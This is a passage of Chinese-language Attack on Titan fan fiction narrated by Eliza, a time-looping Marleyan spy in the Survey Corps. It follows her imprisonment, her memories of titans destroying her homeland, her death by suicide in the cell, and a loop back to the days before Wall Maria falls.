即便我的语气很凶狠,但也掩盖不了我就是一只穷途末路的野兽的事实。每个猎人都知道,野兽进了笼子,就只有死亡这一结局了。
埃尔文说:“我一直试图推论出你背叛的原因。你潜伏的太久了。我们当中没有人怀疑过你。”
骗子。他肯定怀疑过我。
我说:“我从出现你们眼前就是为了杀死你们的。不存在背叛的说法,你还不明白吗?我恨你们。”
“为什么?”米可问,“杀了我们同伴的人的是你。”
“呵。”
这场谈话以我的消极抵抗结束。他们没有得到有用的情报,而我只能像个孩子一样地撒气。最后,大概是他们不能在这呆太久吧,总之他们走了。
埃尔文的脑子里一定在盘算怎么才可以撬开我的嘴,让我把真相说出来。
我什么也不会说的。
我没有一点力气。我的伤口或许感染了,我无法判断,因为我两眼发昏,头还很痛,或许我正在发烧,或许我快死了。
这里的空气令人作呕,一想到我或许对这群艾尔迪亚人有了真情就更恶心了。我的眼前不断闪过飘舞的马莱国旗,但我却把手握成拳放在胸前。
这里没有其它生物。所以我笑得很大声。
黑暗中只有一个叛徒在低语着:“为了马莱……”
83。
火,一望无际的火海。
我从未见过大海,但那些争着蔓延、吞噬这里的一切的火兽,就像是绘本里描绘的属于大海的浪花。
我的腿动不了,我不明白为什么,难道是被枪子射中了吗?还是被掉下来的木桩砸断了?又或者严重烧伤?或者是从高处掉下来断掉了呢……
我不知道,我不知道这些究竟是我的腿动不了的原因,还是我那些血亲死亡的原因。
这片我从未见过的大海啊……它在吃掉我们这些人……
于是我张开嘴巴,用力地呼吸,没有感受到人们口中形容的大海的湿润清新的空气,我被烟火呛住了,生理性泪花漫了出来……
“伊莱扎!”一双有力的臂膀紧紧抱住我,我感受到一滴水流落到我的面颊上,我抬起头,看着面前那个脸上布满鲜血与灰尘的女人。
那是我的生母。我在奶奶死后才被她带回了这间房子里。
她歇斯底里地大吼:“它们要来了!”
我被她抱起,她拖着她一瘸一拐的脚往前跑,我说:“把我放下来吧。两个只有一条腿是完好的人跑不远的。就像您教我的那样,我们要抛弃一些东西。”
她呜咽着:“哦,不,我不能那么做……”
“您知道最正确的做法。”
她往前跑。
我往背后望着,硝烟中,火海上,一个个巨大的身影在挪动着,巨大的手抓起无力反抗的小玩偶,然后……
撕开他们,吞掉他们。它们吃了一切,除了人以外,还有我的故乡,我的家。
枫树被火烧着了,成了真正的火的树。
我的故土被玷污了,我从此没有了家乡。
噼里啪啦。噼里啪啦。
不要,不要。
到处都是尖叫。
我被一股巨力丢了出去,丢进了宅子里面。
那股巨力来自我的妈妈,我至今也不知道她是如何爆发出那样的力量的?她是如何把我扔进了远处的宅子里呢?我弱不禁风的母亲,我没有“才能”的母亲,把我推上祭坛的母亲。她是如何爆发出那样的力量呢?
“雷米尔!”被巨人抓住的母亲在尖叫,“带她走!带她走!”
“伊莱扎!”被巨人握住的母亲在挣扎,“我……”
鲜血冲破了母亲瘦弱的躯干,然后那个丑陋的巨人将母亲掰断,像吃面包棒一样吃了下去。
我的母亲很瘦弱。我一直都知道,她是如何的弱小而无能,没有才能的她,只能把自己的孩子推上死亡的道路才算完成家族的使命,可她为什么……
我忘了那个时候我在喊叫什么,直到后来,艾伦告诉我他看着他的妈妈被吃下时,他做了什么决定……
我才想起了,那个时候我歇斯底里吼叫的是什么……
我在喊:“杀了你们!”
84。
“杀了你们。”我看着艾伦冷笑着,“这就是我的想法。”
“你!”
“艾伦。”利威尔出口制止了他。
我仰头大笑着:“听说你的妈妈是被巨人吃掉的,发现自己变成巨人的样子怎么样?哈哈哈,你简直太好笑了。”
我擦掉眼角的泪水:“看着自己的一切都被巨人毁了的感觉不好受吧。”
利威尔站到了门口:“伊莱扎,够了,不要说了。”
“那你呢?”我歪着头看他,“知道我是叛徒后想了什么?”
“……”利威尔没有说话。
“哈哈哈哈哈,”我笑了起来,“伊莎贝尔和法兰会难过的。”
“亲手杀了挚友的人不配说这句话。”他说,“我曾以为你是真心为他们而痛苦的。”
我看着利威尔,问他:“你还记得我曾经跟你说过什么吗?”
昏暗的灯光下,他的脸色变得煞白,我知道他想起了我说的谈话是什么了。
我靠近了笼门:“杀了我吧,就现在。”
他往后面退了一步,转头告诉艾伦和韩吉他们,让他们先出去。
他们真的出去了。这里就只有我和利威尔,还有那只死老鼠。
我看着利威尔说:“有一件事我没骗你,我真的很讨厌巨人。”
“和你看到法兰还有伊莎贝尔被吃下去一样,我也看过我的家人被吃下去。”
“那种感觉不好受。我理解你。杀死德里克后我的痛苦也是真的,但如果再给我一次选择,我还是会杀死德里克。我不能暴露。”
“你知道吗?我是抱着对巨人的恨来这里的,”我笑着说,“这就是我站在这里的理由,利威尔,你一定可以理解我吧?”
利威尔: “就算我回答我理解你,你也不会信。”
我说:“看来你了解我,这不好。”
“你现在话变多了。”利威尔说,“满肚子不满,你不满什么?”
“毕竟我希望在死前多说点话,但又不想告诉你们真相和我们的打算……等你知道我的身份后,你回忆起这段对话肯定会有很多想法。”
利威尔质问我:“你一直求死,但你其实根本不想死吧?”
我有些恼火却那个力气发火:“我杀了你的同胞,你该恨我。”
“我不知道你……你们的来历,对你产生恨意,有些没有实感。”利威尔喃喃着,“你还有反悔的机会,告诉埃尔文一切真相。”
“我恨你们,这就够了。”
然后他问我,恨他们的理由。
我坚决不肯说更多,只是重复着:“杀了我吧。”
他皱起了眉头:“我不会杀死你的。”
“为什么呢?”我笑了。
“我不想。”他说。“伊莱扎,跟我说真心话吧,稍微信任别人一些。”
这场谈话以我的默不作声结束。
他什么也不懂。
我注视着墙壁。
85。
火烧了过来。
雷米尔抱着我在密道里奔跑。
我呜咽着:“丢下我吧……让我死在这吧,求你了,我想和妈妈死在一起……”
雷米尔没有听,他依然抱着我躲着这群火舌。
没有路了。
他四处看了看,然后他用那双火红色的双眼注视着我:“听着,伊莱扎。这是我的第七次回溯。”
“什么?”
“你没有
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听祭坛上的祷告吧……”
“不,我听了。”
一切诞生之初……万物的起始……永恒的世界树……轮回的弥赛亚……还有什么……
“还有那条虫子。”雷米尔说,“这是我第七次回溯,每一次都是这样结束的。”
“没时间了,伊莱扎。你会成为最后的弥赛亚。”
“什么?”
“不要问什么了,你会慢慢懂的,你现在只是脑子太混乱了。出去后回想起更多事情,你就明白了。一定要记住,杀了那条虫子。好吗?”
我问:“可是,雷米尔,这里没路了。我们都会死在火里的。”
“天花板那有个出气口,很久没人打扫,长了很多植物。我把你举起来,你顺着藤蔓往上爬就行。”
“那你呢?”
“我?让我成为被遗忘的之一吧。”
然后,我被雷米尔推出了火海。
所以我总说,我讨厌战争。
86。
这是我不知道第几次,梦到了战争。这一次,我比之前还要绝望。
我不想死在异国,但我也不想活着。
在我昏昏欲睡,快要永眠时,仿佛是戏剧安排般的,牢房的墙壁脱落了一片石块。
我想到了柯洛林小姐曾带我走进剧院。那时上面正在上演一位音乐家的的故事。我没有看懂,但我看得很开心。
我记得最后一幕。
在音乐家人生最后的时刻。在一间寒冷的卧室里,他没有墨水,却想写乐谱。在他因病魔和现实痛苦之时,他看见了窗外的麻雀,想到了夜莺的故事。于是他用他的鲜血写了最后一张乐谱,然后死了。
柯洛林说那只麻雀不是麻雀,她说:
“这是伟大的神给他的指引。”
全知全能的神伸出了祂的食指,指向地牢脱落下的石块……我捡起掉下的石块,它不够锋利,但是没有关系,我的力气足够大。
这是伟大的神给我这只迷路的羔羊的指引。
我虔诚地拿起那块石头,将它轻轻举在我的喉管前,像当初将手放在胸前喊出“献出心脏”时一样庄重而可笑。
我闭上眼,回忆起了那日我是如何杀死德里克的,我杀过很多人,但我只想复刻他的死亡,接着,我毫不犹豫地将石块向我的喉管刺去……
当我的喉管不断溢出鲜血,我的意识开始模糊,属于我的命运的指针又开始逆时针运转,我的大脑突然变得前所未有的清晰……
我知道了,神给我的指引不是我所祈求的结局,而是故事的开始。
在临近死亡的那一刻,我回忆起了过去的我的五次死亡,五次回溯。
我看见了命运女神波动了我的的丝线,告诉我“还没有结束”。
我还看见了……它。
在我被死亡与汹涌而来的记忆快要击垮时,一个人托住了我,我看见了韩吉的脸,她回头,喊叫了什么……我太痛了,将眼珠子往旁一翻,于是——
我和它对视了。
我不知道它有没有眼睛,甚至不知道它是否具有人类所定义的意识。但那一刻,我确确实实地认为,它在看着我,而我也在看着它。
它在看着我的死亡,凝视着我的命运,嘲笑着我的一切。
它有很多名字,有人叫它怪诞虫,有人叫它寄生虫,有人叫它食髓之物,有人叫它原始复初之卵……
它来自世界树,它将世界树的树心啃食,它是终结者,也是起始者,它是背叛的雏形,它是不可名状之卵……
它是我及我之前的四十八个族人追逐的敌人,也是我们死亡的一切缘由。
我想要发声,想要告诉韩吉,关于它的存在,想要告诉她,杀掉它。但我已经无法发声,每一个挣扎都在加速我的死亡,每一个求生的念头都使我更加痛苦……
在不得不接受的死亡真的到来的那刻,我看见利威尔正在走下最后一个阶梯,看见了韩吉瞪圆的双眼,看见了过去的我的五次死亡。
在我彻底失去一切时,眼前的幻象尽数消失。而我一直注视着的方向上,只有那只死了几天的老鼠。
第五次回溯,伊莱扎·达克,死于自杀。
——
第一篇章/沉默的羔羊 完
21. 来自墙外的人
第二篇章杀死弥赛亚
第一章来自墙外的人
1.
一位诗人说:“在黑暗的时光里,视线逐渐清晰了起来。”
我从上一次的死亡,走向下一次回溯之间的路也是一片黑暗的。
这里介于生与死之间,是时间无法到达的地方,生命在这里重复着消逝与新生这一过程,一切在这里都会失去意义。它是死寂。它是终结,也是开始。
这里很黑,黑到会让我以为我得了夜盲症。这条路是在一片森林里,我并不知道森林对于这个地方有什么象征意味,但我总是不愿意去探究。有次我甚至感受到了森林里似乎有什么东西在注视我……
其实是怪物又或者人类都无所谓,我只是一次次慢慢往前走,走到了尽头,我就会复活,回溯到过去的某个时间点。
在我之前的四十八个族人,每一个都曾走过这片黑暗的寂静之森……每个人,七遍……七次之后,我们会走到哪里去?我不知道。
第一次回溯的我听到过雷米尔称呼这个地方为“虚空”,他在日记里写下:这个地方不是天堂,也不是地狱,它只是虚无。
它只是虚无。雷米尔将这句话写了三遍之后,他又写了句:或许我是太孤独了。
我不知道他当时经历了什么,为什么又会说出这句话,但现在我坐下来回忆那片森林时,我似乎能够理解他说的“孤独”了。
2.
据说,这只是传言,在最初的最初,有那么一棵巨大无比的树存在于世界的中心。这棵树就像是宗教信徒眼中的神一般的存在。
在这棵树的阴翳下,这棵树的根所扎根的土地上,人们过着衣食无忧,幸福安康的日子。
这棵树名叫世界树。
世界树庇佑着生活在它之下的一切生灵,所有生命都尊敬它,赞美它。据说在世界树所存活的年代,没有生灵会为了生存而竞争,弱小的生灵可以活下去,强大的生灵也不会伤害其它生灵……那里就像是宗教里的写的伊甸园,天国一样美好的世界。
秩序,安宁,幸福,友善……人们过的便是这样的生活。
可是,背叛者出现了。它悄悄从地底下偷取世界树的养分,最后它悄悄啃噬了世界树的树心……
世界树死了,于是生灵间开始相互残杀……背叛了世界树的虫子悄悄逃离了,谁也不知道它去了哪里。
据说,我的家族是看护世界树的家族。世界树死后,我们的祖先将世界树的树皮取下,做了一本“真理之书”,我不知道那本书有什么用处,它早就遗失了。
为了弥补没有保护好世界树的罪过,我的祖先开始了寻找那条犯下大罪的虫子……没过多久,那条虫子带来了恶魔,它带来了巨人。
“巨人一定是世界树死后的意志,一定是它在为它的死亡而怨恨,所以它要惩罚我们。”
第一位弥赛亚是这么说的。他到底用了什么方法才获得了超乎人想象的能力,书上没有记录,总之,我们的不幸开始了。弥赛亚们的回溯人生开始了。
或许真的和阿尔塔所说的一样,弥赛亚是救世主之意。
弥赛亚在我这里指的是获得了“回溯”能力的族人的代称,他们拥有七次复活的机会,他们的使命是终结那条虫子。
每一代弥赛亚会在第七次回溯在后裔中选出下一位弥赛亚。被选中的人会走上那座位于地下的祭台,在现任者的祝福下,族人们的祈祷中,接受这个荣光……
我那一代,因为马莱战争的缘故,和我同一辈的族里的孩子都死了。我本来是被妈妈送出去了的孩子,我没有在族里长大,我是跟着我的奶奶长大,我在山上长大,从来都不知道外面的世界。
可奶奶死后,在后裔无人这样的境况下,雷米尔知道了我的存在,让我的父母把我接回去。
于是我成了弥赛亚。如果不出意外,我是最后的弥赛亚。因为我们整个一族都死光了,而我也不能有后裔。
因此,无论如何,我都想要杀死那条虫子。过去我逃避这个责任,是因为我打心底不愿意担负这个本非我愿的任务。可现在……
我真的想回到那没有战争的世界。
哪怕要付出我的生命。
3.
“哐当!”
我摇摇晃晃地从座位上起来,桌边的咖啡杯被我掀倒在地,我控制不住地掐着脖子喘气,指甲掐进了我的肉里,我的脑子仍然在回忆着那条虫子。
原来是这样。我想起来了。
坐我旁边的米可握住我的肩膀:“喂,伊莱扎,你还好吗?”
我一把拍开他的手,有些反胃:“我没事。抱歉,埃尔文团长,请继续。”
“噗哈哈哈……基斯团长,看来伊莱扎很想让埃尔文做团长呢,你得给她加点训练。”
糟糕……我没注意到基斯在那里,原来我回溯到了他还在任的时候吗?我尴尬地笑了笑。
回溯的时间点是随机的。但无一例外,都是在我成为弥赛亚的那场大火之后,都是在雷米尔死后。
雷米尔是我之前的那一位弥赛亚。关于他,我知道的不多。他一直维持着那样的面孔,二十多岁的年轻人模样,但他其实已经六十多岁了。
按道理说,每一位弥赛亚都应该是带着每一次回溯的记忆开始下一次的回溯。
但我在之前某次回溯受了太大的刺激,于是强行让自己遗忘了,所以上次回溯,我没有关于之前那几次回溯的记忆。
如果有的话,我是不会参加这次马莱的行动的。
“伊莱扎,你似乎不在状态。”埃尔文严肃地说。
我愣了一下:“啊,抱歉。我……没睡好。”
这到底回溯到哪了?怎么不让我回溯到去帕拉迪岛之前啊,可恶!
这是我的第六次回溯。我还能复活一次。
“要不,小伊莱扎你先去休息下?”韩吉很贴心地说:“毕竟你这种失神的模样很少见啊。”
“真的不用。”我微微笑着。
基斯盯了我一会才开始继续讲,我听着他的作战规划,仔细回忆了一下我的记忆……
这是玛利亚城墙被破前,我们的那一次远征。我竟然回到了这里吗?
4.
我按着记忆行事,没有多做什么,也没有少做什么。哪怕我知道他们谁会死,我也没有去改变。轻易改变自己所熟知的走向会带来不可挽回的后果,我没有为这群人牺牲我宝贵回溯机会的打算。
就连远征结束后,我们进入城墙接受到的嘲讽都一模一样。
不同的是,我注意到了艾伦,艾伦耶格尔。
他是那条虫子的宿主……本应该如此,但为什么他现在身上没有那条虫子的气息?
难道,这个时候他还没有被那条虫子寄生,那他又是在什么时候才被寄生了的呢?
韩吉一把搭
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上我的肩膀:“怎么盯着那个地方发呆呢?你家人在那?”
“我没有家人。”我把她的猪蹄扯下来,“韩吉,如果是你,在面对一个可能改变自己及其它人命运的抉择时,你会选择不要轻举妄动,还是赌一把……”
“嗯,改变所有人的命运?”
“或许能。”
韩吉思考了好一会才说:“不知道。”
我有些惊讶,我以为她会告诉我一个肯定的答案,但她跟我说:“因为无论如何我也不知道抉择带来的改变是好是坏,但无论如何,我都要去面对这个决定的话,我就……”
“按照自己觉得最正确的方式去做。”
最正确的……吗?我想到了某次回溯,我见证了韩吉的结局,她死在地鸣中,被巨人皮肤散发的高温所灼烧而死,最终成为了巨人的脚下亡魂之一。对于她来说,那是最正确的方式吗?
我没有回话,只是在思考。
回了兵营不久,我去敲了埃尔文的门,我说:“埃尔文,我找你有事。”
5.
我长大的那座山叫做德拉贡,它环绕着我的祖国,保护我的故乡不受外敌侵害。大概我的同胞们都以为有德拉贡在,没有人能够伤害他们吧……直到巨人入侵了。
奶奶曾指着天上的星星,教我如何去辩识它们,并教我如何利用它们找到回家的路。她还会给我讲关于星座们的故事,第一个故事是猎户座的故事:
猎户奥利翁迷恋上国王的女儿,却不堪忍受国王对他一次又一次折磨般的考验,他下定决心要带走公主。
这个计划被国王识破了,愤怒的国王戳瞎了奥利翁的双眼,将他流放到了黑暗之地,让他在黑暗中一直徘徊……
在敲埃尔文的门前,我想了很久。
我究竟是谁?
我是马莱派来的间谍。
我是背负使命开始回溯人生的弥赛亚。
我是发誓要守护我的故乡的守卫。
我是被德拉贡养育长大的孩子。
我是伊莱扎.达克。
我热爱着我的祖国,热爱着养育了我的大山,热爱着这个伤痕累累的世界。
6.
上一次回溯的我,可能无论如何也想象不到我会主动去找埃尔文谈话。他是个危险的男人,他为了找到他想要的真相可以付出一切……他是真正的可以成为恶魔的男人。
但利威尔告诉过我,他愿意去相信埃尔文。
“茶还是水?”埃尔文问我。我收回了我发散的思绪。
我:“没有咖啡吗?”
“有,只是没想到你喜欢喝咖啡,你总是买红茶。”
“那是因为利威尔喜欢喝红茶。”
埃尔文笑了,但我没有因为他的笑容就放松下来,我更紧张了。
我听见我的嘴巴控制不住张开说:“埃尔文,你觉得墙外,有人类存在吗?”
埃尔文泡咖啡的手停顿了一下,“历史书上记载,没有。”
“我问的是,你觉得有没有?”
他把咖啡端到我面前,深深地看着我:“伊莱扎,你想说什么?”
“回答……”
“我觉得有。”埃尔文打断了我的话,坚定地说。他的眼睛在那一刻似乎要变成星辰。
我深吸了一口气:“接下来我说的事,希望你不要告诉任何人……无论是谁。”
“我来自墙外。”
22. 第 22 章
第二十三章
8.
我从很远很远的地方而来。
我乘着巨大的船度过了海洋。
我在巨人的注视中花了几天几夜穿越了这片土地。
我独自站立在高大的城墙之下,用飞爪一点点爬上了五十米高墙。
我悬挂在壁上,等待着巡逻的士兵走开。
在无人知晓的黑夜,在那些士兵醉酒之时,我偷偷潜入了城墙内。
我杀死了怀疑我的宪兵,翻进了政府机构的大楼,偷走了我需要的身份证明。
我报名参加了训练兵团,进入了调查兵团。
……
“之后的事,你就都知道了。”
埃尔文:“你是说我们要花上几天几夜才能到达海边?”
“嗯,但光凭人类的力量是很难实现的。如果政府会给你们拨更多钱有更好的装备倒是有可能……”我客观地陈述着我所知道的事实。
“那你是怎么一个人穿过周围全是巨人的大地呢?”
我深吸一口气:“我的……派我来到这里的国家的将军主导过一个人体实验,被改造过的人能够拥有更顽强的生命力,同时巨人会忽视他们,除非他们主动向巨人发动攻击。”
埃尔文:“那个人体实验……”
我马上打断他的想法:“那个实验进行了多年,有上千人参与过,但只有我一个人成功了,而且后续也没有人成功。后来将军终止了这项计划。太危险了。”
“是吗?看来我如果想要看到外面的世界还很艰难。”埃尔文端起茶杯,喝了一口我冲的咖啡,“你泡的咖啡很香啊。咖啡豆是在哪买的?还是说加牛奶,方糖上有什么特别配方吗?”
“咖啡豆就是在对面的杂货店买的,特别配方那倒没有,只是我泡过很多次。你要是想喝可以再来找我。”
埃尔文笑了笑,说:“那我可以问你……你怎么就放心告诉我这样的大秘密,你潜入城墙又是为什么?”
“表面上的目的是为了夺取一种能力,后面你或许会知道是什么能力……呵,我当然不可能告诉你全部事情,这是为了你和我之间的稳定合作关系着想。”
无论如何,我还是不能直接告诉他马莱的始祖夺还计划。我无法判断埃尔文听了之后,会不会选择优先铲除战士们。
那样的话……先不说我不可能一下子和三位巨人持有者为敌,其次我还不清楚吉克是什么时候潜入城墙的,要是被他发现我的背叛,说不定我很快就要终结这次回溯了……最重要的是,我还不知道王政府到底是什么情况。
我又继续说:“实际上,我是为了杀死一个生物来的,它是产生巨人的源头……至于为什么会告诉你这些,是因为我相信团队合作的力量。”
“巨人的源头……”埃尔文翘起嘴角,“你一个人解决?”
“如果我需要帮助的话,我会寻求帮助的。”我暗示了一下我不会告诉他更多关于怪诞虫的事情。
过了一会,埃尔文拍了拍手,站起来:“伊莱扎,墙外有很多其它国家吗?”
“嗯。”
“他们也被巨人所迫害吗?”
“……我的国家就是被巨人践踏了,我的家人也都死在巨人嘴里。”
“是吗?”埃尔文听了之后转头望向窗外,“你的国家没有城墙?”
“就算有也无法防范。”
“为什么呢?”
“或许过一段时间你就知道为什么了。”
过一段时间,玛利亚城墙破了,他就会知道为什么了。
弱小的国家无法反抗强大的国家的侵略。在不和平年代,强大不是为了保护弱小,而是为了凌于弱小之上。
他们很快就能知道了……弱小在这个时代的罪过。
9。
那天我和埃尔文谈了好一会。我没有透露关于马莱,战士们,智慧巨人的事情。基本上我是在说关于我和我的国家的事,偶尔会回答他关于墙内未见过的景象的事……但我有跟他提过:人是可以变成巨人的,但大部分不会保留智慧,也不会
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变回来。
不知道他信了多少,反正他没有说出去……大概吧。不然现在我就应该被墙内真正的王抓住了。
午后,我游荡在西干希纳区,沿着河岸慢悠悠地散步,但我没有换上我的便服。据我所知,艾伦和他的朋友住在这里。
他们似乎经常在水边聊天玩耍。
我下意识摸了摸我的右眼。
我的右眼不是我的眼睛。在我成为弥赛亚的仪式上,我被挖去了右眼,换上的……或许是第一任弥赛亚的右眼。其实我之前的眼睛是灰色的,但换上这只眼睛后,我的另外一只眼也跟着变成了红色。
只要我有这个意愿,这只右眼可以帮我认出智慧巨人的持有者……
我来到这里,是为了确认艾伦在现在的时间点有没有得到进击的巨人或者是始祖巨人。
哪怕是过去几次回溯,我也没有弄清楚他是什么时候得到这个能力的。知道的人不多,而我大多数时间和他们都是敌人,更不可能知道这种隐秘了。
“那个……”一个金发男孩突然叫住我,“你是……调查兵团的人吗?”
“嗯。”我回头看着这个小孩,总觉得他有点眼熟……
看到我点头,金发小男孩的畏缩马上就消失了,他蓝色的眼睛闪着光,握着拳头兴奋地说:“好厉害!我,我还是第一次和真的调查士兵说话……”
啊……看来是个对壁外调查有什么高光误解的小孩,这可不行啊,抱着这样的想法没有能力的家伙进入兵团会死的很快的。
我低头对他笑了笑:“这可不是什么厉害的工作哦,每次出城墙都会有很多很多人死在外面的……墙外的世界很危险,如果可以的话,还是呆在墙里吧小朋友。”
突然,我的背后响起了一道声音:“身为调查兵怎么能这么说呢!应该更加坚定地为自己的战斗而骄傲啊!”
金发男孩慌张地跑过去:“艾伦……”
艾伦!
我控制不住地颤抖起来,不是因为害怕,而是……兴奋……
23. 第 23 章
第二十四章
10
我之所以要在现在去见艾伦,是为了查看他周围的人中有没有隐藏起来的“始祖巨人”。
艾伦耶格尔发动地鸣时只有十九岁,智慧巨人的寿命只有十三年,也就是说他是六岁以后才接受了那份力量。
我做过两个可能性较大的假设。
第一种:他是偷渡进城墙的,因为艾伦过激的行为和艾尔迪亚中的革命派很像。但他年纪太小,不可能一个人完成这样的任务,或许还有一个同伴。他的同伴或许是进击的巨人,那人偷走了始祖巨人,然后在自己寿命的末端,让艾伦吃下他,继续他们的革命。
他们可能是在马莱剿灭里存活下来的残党,大概率是边缘人员,所以才不清楚:始祖巨人只有在王族手里才能发挥作用。艾伦可能是因为年纪太小,不知道怎么用这份力量,才一直蛰伏多年,直到十九岁才发动了地鸣。
还有第二种可能:艾伦是土生土长的墙内人,但他身边有一个很信任他的人来自墙外。15岁时艾伦已经获得了始祖巨人的力量,凭那时的他不可能打败始祖巨人。因此一定是有个更厉害的潜藏起来的人,是那个人打败了始祖巨人,然后让艾伦吃下他。
无论是哪种可能,其中都有一个潜藏起来的家伙。那个家伙和我一样来自墙外,而且他还是进击的巨人的持有者。
如果是那样……我最好是现在就带走他,最好能够控制他,这种事情不能够拖延。
11。
可当我头热期一过,我就发现我的计划失败率太高了。
一个是没接受过智慧巨人使用训练的小孩,我还知道他未来的大概人生轨迹。
一个是连始祖巨人都能打败的或许有多年实战经验的未知敌人。
怎么想都是前一个解决起来更轻松吧!
一定是跟利威尔那种比起动脑更喜欢动手的人呆久了,我才脑袋一热想要找出后面一个,然后解决他。
不过为了满足我可有可无的好奇心,我还是留意观察了艾伦周围的人。虽然我无法察觉到智慧巨人,却可以察觉到“那条虫子”黏糊糊的注视。
我在希干希纳区呆了两天,给艾伦他们三个讲了不少故事,站在街上观察了不少希干希纳区里的人。
我并没有发现被那条虫子寄生的人。艾伦那个时候或许还没成为智慧巨人。
而明天就是破墙的日子,我必须要离开了。
“那我们下次还能见面吗?”阿尔敏问我,脸蛋有些红晕。
一想到这么可爱的小孩子未来会变成粗糙的士兵,甚至还会变成心眼子一堆的团长外加罪恶的超大型巨人。我的心情不止一点复杂。
这三个小孩现在都带着喜欢的目光看着我,似乎是把我当成了朋友,可是他们不知道,他们三个每个人都弄死过我。
第一次回溯,我被艾伦耶格尔嚼碎而死。
第二次回溯,我被三笠阿克曼割喉而死。
第四次回溯,我被超大型巨人所波及而死。
尽管我内心刮起了狂风暴雨,表面上还是波澜不惊,低下头与他们直视,微笑着说:“我也不知道哦,毕竟我所承担的责任就代表了我时刻要面临死亡……”
看到他们的眼神变化,我心满意足:“不过我相信,我们会有下次见面的。因为我很强,我会完成我的任务然后活下来。”
“嗯!”
轮船即将要开了,我也要上船了,我最后看了希干希纳区一眼,明天这个地方会被巨人踏为平地,一如我的故乡。
“艾伦,三笠,阿尔敏。”我喊了他们的名字,“回家去吧。”
12。
第二天便是玛利亚城墙被破之日。在我活得最久的第三次回溯里,我听到过一些幸存者们称呼那天为“地狱的开始”。
但其实地狱早就开始了……或者说,这人间本就是地狱。
当天晚上我无法安眠,我的耳边仿佛充斥着恶魔的厮磨声,那些亡魂似乎在我耳边不断呻吟着诅咒的话语。
这间单人寝太过阴冷,这个夜晚太过死寂,而我的大脑和心脏一直备受着灵魂的折磨。在无数次翻来覆去之后,我站起身来,下了床,出门散步。
现在的天气不算炎热,夜里还有点凉,树梢上挂着缺月,天上没有一丝云晕。人们在睡梦中安眠,却不知道明天死神即将来叩门。假象的城墙会碎掉,王理想中的乌托邦并不存在于现实。
没有任何一场战争没有鲜血。我不断告诉自己。
我注意到米可和韩吉的窗户还亮着灯,米可或许是在处理工作,而韩吉或许是在鼓捣她的一些小玩意。
我蹲在我喜欢的那棵大树下,我无法合上双眼,只想让自己记住这一刻我正在跳动的心脏。于是,就这样,我一直睁着双眼,直到太阳从城墙上升起。
“伊莱扎。”
不需要回头,我都知道是谁。
在这个地方会来找我的人只有利威尔。
我没有看着他,而是看着正在升起的太阳:“早上好,利威尔。今天又是一个枯燥的一天。”
我感觉到身旁有一股热气,转过头去看到了利威尔学着我坐在了草坪上。
他对上了我的眼神,微微皱起眉,似乎不明白我为什么要盯着他,然后他恍然大悟:“早上好。”
“……”
偶尔的偶尔,我会觉得利威尔有点可爱,但往往下一秒我就会被自己的这个
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想法给恶心到。
后来我跟利威尔提了这件事,他很凶狠地说我突然盯着他,他以为是我在气他没回应我。
其实我盯着他的原因不是因为我想让他回复我早安,好吧,我也不知道为什么我想盯着他,就是想做,然后去做了。
当我这么跟他解释时,他没说话,不过脸色看上去好多了,我想他是接受了我这个解释的。
不过为什么利威尔总是觉得我在生气呢?
我问利威尔:“埃尔文是不是让你来找我?”
利威尔露出了个莫名的表情:“不,不知道为什么,他最近对你很宽容?连你懈怠工作他都当做没看见。”
我有口难言,总不能说我俩有个共同的秘密吧?那显得我和埃尔文关系很好,有点恶心了。
我叹了口气:“我最近很累,很难过,晚上还睡不着觉,天天都在掉发。”
“你想的太多了。”利威尔一如既往地很直白地说话,“被安排的工作太少了,所以你才容易想那些,埃尔文就不应该纵容你。”
我明白利威尔的意思,他想让我忙起来,没空去折磨自己。我很感谢他的好意,毕竟他不是个经常安慰人的家伙。其实他说的很有道理,每次我忙起来的时候,又或者是生死攸关之际,我永远都不会觉得难过。
但我还是忍不住抱怨:“可情绪堆积在那里不会消失,它只会在那里发霉发臭。”
利威尔沉默了一会,才说:“你没告诉过我你为什么会难过……不过你或许也不会说。”
我点头赞同了他:“就算你这么直接说我性格闷,我也不会告诉你的。”
但利威尔很罕见地没有恐吓我,而是很认真地说:“你也知道你性格太闷了。”
我:“你就不能安慰下我说我其实很开朗吗?”
利威尔:“那还不如让我去杀巨人。”
13。
托利威尔的福,我心情好了不少,至少那可恶的愧疚感不会再缠绕在我身旁了。
仔细想想,我本来也无法拯救玛利亚城墙内的居民……只是单纯看着他们送死,我还是会有些不忍。
或许是埃尔文注意到我太多次望向窗外了,他站到我后面低声问:“伊莱扎,你……”
“彭!”一声巨响伴随着巨大的闪电滑破了湛蓝色的天际,我控制不住身体的颤抖,一切都和那天一模一样。
是超大型巨人。
埃尔文看向窗外:“奇怪,天气很好的时候也打雷了?”
我扫视了一下周围,大家要么是在说刚刚那道闪电,要么是在埋头工作……所以我站起来,让埃尔文微微低下头。
我悄悄对他说:“埃尔文,玛利亚城墙破了。”
24. 披着羊皮的狼
第二十五章 披着羊皮的狼
在玛利亚城墙攻破的消息传达下来之前,我递交了休假申请。理由很充分:我已经很久没有休假过了,又帮着做了不少训练任务。所以基斯团长很快批准了我的休假。
之后我没有申请去难民营,这样我就不会和亚妮他们碰面。其实和他们碰面对我来说也没什么,至少我目前为止回想起来的记忆里,没有一次是他们杀掉我的,我跟他们接触也不多。我只是喜欢一点点改变能够为故事带来的变化,所以我才不去见他们。
我奶奶跟我讲过:一颗不起眼的小石子丢进了溪流中,或许就会改变溪流的方向,人的命运也是一样,一点点不起眼的小改变或许就会在未来诱发一次巨变。
我从不怀疑奶奶的话。尽管她有很多事情没有告诉我就死了,但我从来都不是一个渴望真相的人。真相能够带给我什么呢?目前为止我所知道的每一个事实都让我更加失望。知道他们有什么用呢?无非是死的时候更加痛苦,更加无能为力罢了。
“我不能够理解你想要知道……所有一切的心理?”我躺在沙发上看着埃尔文在那里忙碌地工作,“你看吧你很着急地想要让我告诉你为什么我会知道玛利亚城墙要破……”
埃尔文马上打断我:“我没有着急。”
我闭上眼,开始放松大脑:“在我看来你很着急了。其实你已经有了好几个猜想了吧?我先帮你排除一个:我没策划这场攻击,一点也没参与。”
埃尔文叹了口气:“介于你现在一点我想知道的都不会告诉我,你可以先不要打扰我吗?基斯团长辞职了,我手上工作有点多。你去找利威尔,或者韩吉,或者你自己去到处走走。我们等会再来聊天。”
“我不是什么都不想说。”我依然没有从沙发上移开,继续躺着,“我在等一个特别的时刻,等会我就走了。”
埃尔文嗯了一声,说了些什么,我没有听清,因为我睡着了。不知道为什么我这次回溯那么容易犯困,难道是因为脑子里突然多了很多记忆吗?
